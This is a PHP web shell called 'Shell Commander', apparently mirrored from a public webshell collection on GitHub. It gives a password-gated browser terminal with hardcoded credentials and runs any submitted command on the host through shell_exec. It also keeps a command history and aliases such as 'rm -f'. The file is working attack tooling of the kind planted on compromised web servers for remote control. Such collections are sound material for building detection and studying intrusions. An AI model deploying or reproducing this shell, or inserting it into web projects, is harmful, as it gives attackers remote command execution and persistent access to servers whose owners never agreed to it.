mirror of
https://github.com/tennc/webshell
synced 2024-11-25 12:40:17 +00:00
322 lines
No EOL
9.3 KiB
Text
322 lines
No EOL
9.3 KiB
Text
<?php
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error_reporting(0);
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session_start();
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unset($user); // Just in case ;-]
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unset($pass);
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if ($_POST['cmd']) $_POST['cmd'] = my_encode($_POST['cmd']);
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$cache_lines = 1000;
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$history_lines = 100;
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$history_chars = 20;
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$user[] = "root"; $pass[] = md5("fuckyou");
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$user[] = "user"; $pass[] = md5("fuckhacker");
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$alias = array(
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"la" => "ls -la",
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"rf" => "rm -f",
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"unbz2" => "tar -xjpf",
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"ungz" => "tar -xzpf"
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);
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if (!$_SESSION['user']) {
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$pr_login = "Login:\n";
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$pr_pass = "Password:\n";
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$err = "Invalid login!\n\n";
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$succ = "Warning!
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Don`t be stupid .. this is a priv3 server, so take extra care!!!\n\n";
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if ($_SESSION['login'] && $_POST['cmd']) { // WE HAVE USERNAME & PASSWORD
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$_SESSION['output'] .= $pr_pass;
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if (in_array($_SESSION['login'], $user)) { //........ USERNAME EXISTS
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$key = array_search($_SESSION['login'], $user);
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if ($pass[$key] != md5($_POST['cmd'])) { //....... WRONG PASSWORD
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$_SESSION['output'] .= $err;
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unset($_SESSION['login']);
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$prompt = $pr_login;
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} else { //..................................... SUCCESSFUL LOGIN
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$_SESSION['user'] = $_SESSION['login'];
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$_SESSION['whoami'] = substr(shell_exec("whoami"), 0, -1);
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$_SESSION['host'] = substr(shell_exec("uname -n"), 0, -1);
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$_SESSION['dir'] = substr(shell_exec("pwd"), 0, -1);
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$_SESSION['output'] .= $succ;
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$prompt = set_prompt();
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unset($_SESSION['login']);
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}
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} else { //......................................... NO SUCH USERNAME
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$_SESSION['output'] .= $err;
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unset($_SESSION['login']);
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$prompt = $pr_login;
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}
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} else { //................................................ LOGIN PROCESS
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if (!$_SESSION['login'] && !$_POST['cmd']) $prompt = $pr_login;
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if (!$_SESSION['login'] && $_POST['cmd']) {
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$_SESSION['login'] = $_POST['cmd'];
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$_SESSION['output'] .= substr($pr_login, 0, -1) . " $_POST[cmd]\n";
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$prompt = $pr_pass;
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}
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}
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} else { //........................................................ LOGGED IN
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/*=-- MEMBERS AREA --=*\
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\*=-- MEMBERS AREA --=*/
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$prompt = set_prompt();
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chdir($_SESSION['dir']);
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if ($_REQUEST['clear_hist']) //............................ CLEAR HISTORY
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$_SESSION['history'] = "";
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if ($_SESSION['history']) $hist_arr = explode("\n", $_SESSION['history']);
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if ($_POST['cmd']) {
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if (!in_array($_POST['cmd'], $hist_arr)) { //......... ADD TO HISTORY
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$hist_arr[] = $_POST['cmd'];
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$_SESSION['history'] = implode("\n", $hist_arr);
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}
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if (count($hist_arr) > $history_lines) { //........... CUTOFF HISTORY
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$start = count($hist_arr) - $history_lines;
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$_SESSION['history'] = "";
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for ($i = $start; $i < count($hist_arr); $i++)
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$_SESSION['history'] .= $hist_arr[$i] . "\n";
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$_SESSION['history'] = substr($_SESSION['history'], 0, -1);
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$hist_arr = explode("\n", $_SESSION['history']);
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}
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$first_word = first_word($_POST['cmd']);
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if (array_key_exists($first_word, $alias)) { //. CHECKING FOR ALIASES
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$_POST['cmd'] = $alias[$first_word] . substr($_POST['cmd'], strlen($first_word));
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$first_word = first_word($_POST['cmd']);
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}
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switch ($first_word) {
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case "clear":
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$_SESSION['output'] = "";
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break;
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case "exit":
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session_destroy();
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refresh();
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break;
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case "cd":
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$_SESSION['output'] .= $prompt;
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$result = shell_exec($_POST['cmd'] . " 2>&1 ; pwd");
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$result = explode("\n", $result);
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$_SESSION['dir'] = $result[count($result) - 2];
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if (count($result) > 2) //.............. WE HAVE AN ERROR MESSAGE
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$result[0] = "\n" . substr($result[0], strpos($result[0], "cd: ")) . "\n";
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else $result[0] = "\n";
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$prompt = set_prompt();
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$_SESSION['output'] .= $_POST['cmd'] . $result[0];
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break;
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default:
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$result = shell_exec($_POST['cmd'] . " 2>&1");
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if (substr($result, -1) != "\n") $result .= "\n";
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$_SESSION['output'] .= $prompt . $_POST['cmd'] . "\n" . $result;
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$rows = preg_match_all('/\n/', $_SESSION['output'], $arr);
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unset($arr);
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if ($rows > $cache_lines) {
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preg_match('/(\n[^\n]*){' . $cache_lines . '}$/', $_SESSION['output'], $out);
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$_SESSION['output'] = $out[0] . "\n";
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}
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}
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}
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}
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/*=-- FUNCTIONS --=*\
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\*=-- FUNCTIONS --=*/
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function my_encode($str) {
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$str = str_replace("\\\\", "\\", $str);
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$str = str_replace("\\\"", "\"", $str);
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$str = str_replace("\\'", "'", $str);
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while (strpos($str, " ") !== false) $str = str_replace(" ", " ", $str);
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return rtrim(ltrim($str));
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}
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function set_prompt() {
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global $_SESSION;
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return $_SESSION['whoami'] . "@" . $_SESSION['host'] . " " . substr($_SESSION['dir'], strrpos($_SESSION['dir'], "/") + 1) . " $ ";
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}
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function first_word($str) {
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list($str) = preg_split('/[ ;]/', $str);
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return $str;
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}
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function refresh() {
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global $_SERVER;
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$self = substr($_SERVER['SCRIPT_NAME'], strrpos($_SERVER['SCRIPT_NAME'], "/") + 1);
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header("Location: $self");
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die;
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}
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/*=-- HTML PAGE --=*\
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\*=-- HTML PAGE --=*/
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$out = substr(preg_replace('/<\/(textarea)/i', '</\1', $_SESSION['output']), 0, -1);
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?><HTML>
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<HEAD>
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<TITLE>Shell Commander</TITLE>
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<STYLE TYPE="text/css"><!--
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INPUT, TEXTAREA, SELECT, OPTION, TD {
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color: #BBBBBB;
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background-color: #000000;
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font-family: Terminus, Fixedsys, Fixed, Terminal, Courier New, Courier;
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}
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TEXTAREA {
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overflow-y: auto;
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border-width: 0px;
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height: 100%;
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width: 100%;
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padding: 0px;
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}
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INPUT {
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border-width: 0px;
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height: 26px;
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width: 100%;
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padding-top: 5px;
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}
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SELECT, OPTION {
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color: #000000;
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background-color: #BBBBBB;
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}
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BODY {
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overflow-y: auto;
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margin: 0;
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}
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--></STYLE>
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<SCRIPT LANGUAGE="JavaScript"><!--
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hist_arr = new Array();
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<?php
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foreach ($hist_arr as $key => $value) {
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$value = str_replace("\\", "\\\\", $value);
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$value = str_replace("\"", "\\\"", $value);
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echo "hist_arr[$key] = \"$value\";\n";
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}
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?>
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function parse_hist(key) {
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if (key < hist_arr.length) {
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if (key != "") {
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document.getElementById('input').value = hist_arr[key];
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document.getElementById('input').focus();
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}
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} else {
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window.location.href = "?clear_hist=1";
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}
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}
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function input_focus() {
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document.getElementById('input').focus();
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}
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function selection_to_clipboard() { // IE only!
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if (window.clipboardData && document.selection)
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window.clipboardData.setData("Text", document.selection.createRange().text);
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}
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if (window.clipboardData)
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document.oncontextmenu = new Function("document.getElementById('input').value = window.clipboardData.getData('Text'); input_focus(); return false");
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--></SCRIPT>
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</HEAD>
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<BODY onLoad="document.getElementById('output').scrollTop = document.getElementById('output').scrollHeight; input_focus()" TOPMARGIN="0" LEFTMARGIN="0">
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<TABLE CELLPADDING="0" CELLSPACING="0" BORDER="0" HEIGHT="100%" WIDTH="100%">
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<TR>
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<TD HEIGHT="100%" BGCOLOR="#000000" STYLE="padding-top: 5px; padding-left: 5px; padding-right: 5px; padding-bottom: 0px"><TEXTAREA ID="output" onSelect="selection_to_clipboard()" onClick="input_focus()" READONLY><?= $out ?></TEXTAREA></TD>
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</TR>
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<TR>
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<TD BGCOLOR="#000000"><TABLE CELLPADDING="0" CELLSPACING="5" BORDER="0" WIDTH="100%">
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<TR>
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<FORM METHOD="POST" ACTION="">
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<TD NOWRAP onClick="input_focus()"><?= substr($prompt, 0, -1) ?></TD>
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<TD WIDTH="100%"><INPUT ID="input" TYPE="<?= (!$_SESSION['user'] && $_SESSION['login']) ? 'PASSWORD' : 'TEXT' ?>" NAME="cmd"></TD>
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</FORM><?php
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if ($hist_arr) {
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?><TD NOWRAP><SELECT onChange="parse_hist(this.options[this.selectedIndex].value)">
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<OPTION VALUE="">--- HISTORY</OPTION><?php
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for ($i = count($hist_arr) - 1; $i >= 0; $i--) {
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if (strlen($hist_arr[$i]) > $history_chars) $option = substr($hist_arr[$i], 0, $history_chars - 3) . "...";
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else $option = $hist_arr[$i];
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echo "<OPTION VALUE=\"" . $i . "\">$option</OPTION>";
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}
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?><OPTION VALUE="<?= $history_lines + 1 ?>">--- CLEAR HISTORY</OPTION></SELECT></TD><?php
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}
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?></TR>
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</TABLE></TD>
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</TR>
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</TABLE>
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<SCRIPT LANGUAGE="JavaScript"><!--
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document.getElementById('output').scrollTop = document.getElementById('output').scrollHeight;
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--></SCRIPT>
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</BODY>
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</HTML> |